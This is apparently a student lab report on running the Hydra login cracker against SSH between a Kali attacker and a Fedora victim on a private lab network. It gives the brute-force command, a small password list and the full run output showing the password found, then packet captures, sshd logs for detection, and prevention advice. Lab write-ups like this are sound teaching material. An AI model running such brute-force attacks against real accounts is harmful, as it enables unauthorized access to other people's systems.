COMP 8506 Assignment 4

Password Cracking - Hydra

Xinghua Wei

A00978597

Hydra

Introduction

Hydra is a fast login cracker that can be used on both Linux and Windows platforms. It supports protocols like AFP, HTTP, SSH, FTP, etc. With Hydra, it is easy to gain unauthorized access to a system remotely.

Analyze

Techniques

Hydra is a live cracking tool. The basic attacking idea for Hydra is using a Brute Force attack. An attack includes pre-created and commonly used usernames and passwords to increase unapproved access to a system.

Unlike Ophcrack using Rainbow table attack, Hydra uses Brute Force attack with usernames or passwords inside a list. Also, Ophcrack is usually done offline, where Hydra is an online cracking tool that could easily be detected by IDS or firewalls.

Hydra Testing environment

I have set up two hosts. One is the attacker machine with Kali, another one is the victim machine with Fedora installed, and the SSH server opened.

-l: Login with a specified name or use -L for a file with a list of names. In this case, I will use -l.

-P: Load passwords from a file.

-vV: Verbose mode and show login and password for each attempt

Attacker machine: 10.0.0.123

Victim machine: 10.0.0.174

Password file

I created a password file with multiple passwords in it. Only one of the password is correct. I use this password file only for this exercise. Usually, attackers should download a

larger password lists that may contain millions of passwords and usernames to crack the correct password.

```
123456
asdgff
arialiu0822
zcxzxcxz
kali
1
2
```

Cracking

I want to crack the password for SSH, wish to make a password brute force attack by using password lists to guess the valid combination. So I enable -P option for a password list.

```
hydra -l wei -P 'pwd.txt' 10.0.0.174 ssh -vV
```

Once I start cracking, I can observe that Hydra will try ten times of login. It also shows the attacking address, which is port 22 of 10.0.0.174. Then it starts checking if password authentication is supported by the SSH server on the victim machine. If not, the attack will not achieve success. Otherwise, -V option provides me with each attack attempt that has been done.

```
root@kali:/home/kali/Desktop# hydra -l wei -P 'pwd.txt' 10.0.0.174 ssh -vV
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or
for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-21 02:54:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the task
s: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:1/p:10), ~1 try per task
[DATA] attacking ssh://10.0.0.174:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://wei@10.0.0.174:22
[INFO] Successful, password authentication is supported by ssh://10.0.0.174:22
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "123456" - 1 of 10 [child 0] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "asdgff" - 2 of 10 [child 1] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "arialiu0822" - 3 of 10 [child 2] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "zcxzxcxz" - 4 of 10 [child 3] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "kali" - 5 of 10 [child 4] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "1" - 6 of 10 [child 5] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "2" - 7 of 10 [child 6] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "3" - 8 of 10 [child 7] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "4" - 9 of 10 [child 8] (0/0)
[ATTEMPT] target 10.0.0.174 - login "wei" - pass "5" - 10 of 10 [child 9] (0/0)
[22][ssh] host: 10.0.0.174   login: wei   password: arialiu0822
[STATUS] attack finished for 10.0.0.174 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-21 02:54:56
```

If there is a correct password, Hydra will highlight the correct login information.

Hydra

```
[22][ssh] host: 10.0.0.174   login: wei   password: arialiu0822
[STATUS] attack finished for 10.0.0.174 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
```

It tells me on port 22 of 10.0.0.174, user name “wei” with password “arialiu0822” connect to the SSH server.

Wireshark

With Hydra attacking the SSH server of another host, it will generate a huge amount of TCP and SSHv2 requests. And because I have ten passwords in the password file, the attacker machine will send SYN packets to victim hosts ten times.

28	1603248893.041441378	10.0.0.123	39818,22	10.0.0.174	TCP	76 39818 → 22 [SYN]
29	1603248893.041454347	10.0.0.123	39820,22	10.0.0.174	TCP	76 39820 → 22 [SYN]
30	1603248893.042200573	10.0.0.123	39824,22	10.0.0.174	TCP	76 39824 → 22 [SYN]
31	1603248893.042706378	10.0.0.123	39826,22	10.0.0.174	TCP	76 39826 → 22 [SYN]
32	1603248893.043508372	10.0.0.123	39828,22	10.0.0.174	TCP	76 39828 → 22 [SYN]
33	1603248893.043513611	10.0.0.123	39830,22	10.0.0.174	TCP	76 39830 → 22 [SYN]
34	1603248893.044036306	10.0.0.123	39834,22	10.0.0.174	TCP	76 39834 → 22 [SYN]
35	1603248893.044553265	10.0.0.123	39836,22	10.0.0.174	TCP	76 39836 → 22 [SYN]
36	1603248893.044604880	10.0.0.123	39838,22	10.0.0.174	TCP	76 39838 → 22 [SYN]
37	1603248893.045226554	10.0.0.123	39840,22	10.0.0.174	TCP	76 39840 → 22 [SYN]

And once the victim host ACK back, they start to exchange the key in order to find out the correct password.

68	1603248893.056744629	10.0.0.174	22,39818	10.0.0.123	TCP	68 22 → 39818 [ACK]
69	1603248893.056814133	10.0.0.174	22,39820	10.0.0.123	TCP	68 22 → 39820 [ACK]
70	1603248893.058519140	10.0.0.174	22,39824	10.0.0.123	TCP	68 22 → 39824 [ACK]
71	1603248893.060017702	10.0.0.174	22,39826	10.0.0.123	TCP	68 22 → 39826 [ACK]
72	1603248893.060089711	10.0.0.174	22,39828	10.0.0.123	TCP	68 22 → 39828 [ACK]
73	1603248893.060165227	10.0.0.174	22,39830	10.0.0.123	TCP	68 22 → 39830 [ACK]
74	1603248893.060265832	10.0.0.174	22,39834	10.0.0.123	TCP	68 22 → 39834 [ACK]
75	1603248893.062122872	10.0.0.174	22,39836	10.0.0.123	TCP	68 22 → 39836 [ACK]
76	1603248893.062292967	10.0.0.174	22,39838	10.0.0.123	TCP	68 22 → 39838 [ACK]
77	1603248893.062390590	10.0.0.174	22,39840	10.0.0.123	TCP	68 22 → 39840 [ACK]

Once the attack is finished, the attacker machine will not log in to the SSH server but disconnect from the server.

291	1603248896.410565724	10.0.0.174	22,39820	10.0.0.123	TCP	68 22 → 39820 [FIN, ACK]

```
Oct 20 19:50:26 localhost sudo[1861]:     wei : TTY=pts/1 ; PWD=/home/wei ; USER=root ; COMMAND=/usr/sbin/iptables -F
Oct 20 19:50:26 localhost sudo[1861]: pam_unix(sudo:session): session opened for user root by wei(uid=0)
Oct 20 19:50:26 localhost sudo[1861]: pam_unix(sudo:session): session closed for user root
Oct 20 19:50:32 localhost sshd[1870]: Received disconnect from 10.0.0.123 port 39766:11: Bye Bye [preauth]
Oct 20 19:50:32 localhost sshd[1870]: Disconnected from authenticating user wei 10.0.0.123 port 39766 [preauth]
```

Hydra

Detection

To detect Hydra's attack, there could be multiple failed login attempts from the same IP address. In my example, I could see a multiply failed login via secure log file.

```
Oct 20 19:50:11 localhost sshd[1783]: Connection closed by authenticating user wei 10.0.0.123 port 39746 [preauth]
Oct 20 19:50:11 localhost sshd[1788]: Connection closed by authenticating user wei 10.0.0.123 port 39756 [preauth]
Oct 20 19:50:11 localhost sshd[1792]: Connection closed by authenticating user wei 10.0.0.123 port 39764 [preauth]
Oct 20 19:50:11 localhost sshd[1791]: Connection closed by authenticating user wei 10.0.0.123 port 39762 [preauth]
Oct 20 19:50:11 localhost sshd[1790]: Connection closed by authenticating user wei 10.0.0.123 port 39760 [preauth]
Oct 20 19:50:11 localhost sshd[1787]: Connection closed by authenticating user wei 10.0.0.123 port 39754 [preauth]
Oct 20 19:50:11 localhost sshd[1789]: Connection closed by authenticating user wei 10.0.0.123 port 39758 [preauth]
Oct 20 19:50:11 localhost sshd[1784]: Connection closed by authenticating user wei 10.0.0.123 port 39748 [preauth]
Oct 20 19:50:11 localhost sshd[1786]: Connection closed by authenticating user wei 10.0.0.123 port 39752 [preauth]
```

There could be login attempts with multiple usernames from the same IP address. Or multiply login attempts for a single username. Users could also notice an unusual pattern of failed login attempts, for example, following a sequential alphabetical or numerical pattern. If a user observes an abnormal amount of bandwidth being used, this could signal an attack has successes.

Prevention

To prevent attacks from Hydra, users should never use information that could be found online, such as names or birthdates. Create a strong password that combines letters, numbers and symbols and modifies the password as long as possible. Users should avoid using common pattern passwords and use different passwords for different accounts. In addition, setting up firewalls to allow only a limited number of login attempts otherwise blocks the source IP.

Conclusion

Hydra uses the Brute Force attack, an attack used by the attacker to break into a password-protected system by putting every possible password into a list as a form of password for that system. It is fast, has a high success rate but also easy to detect.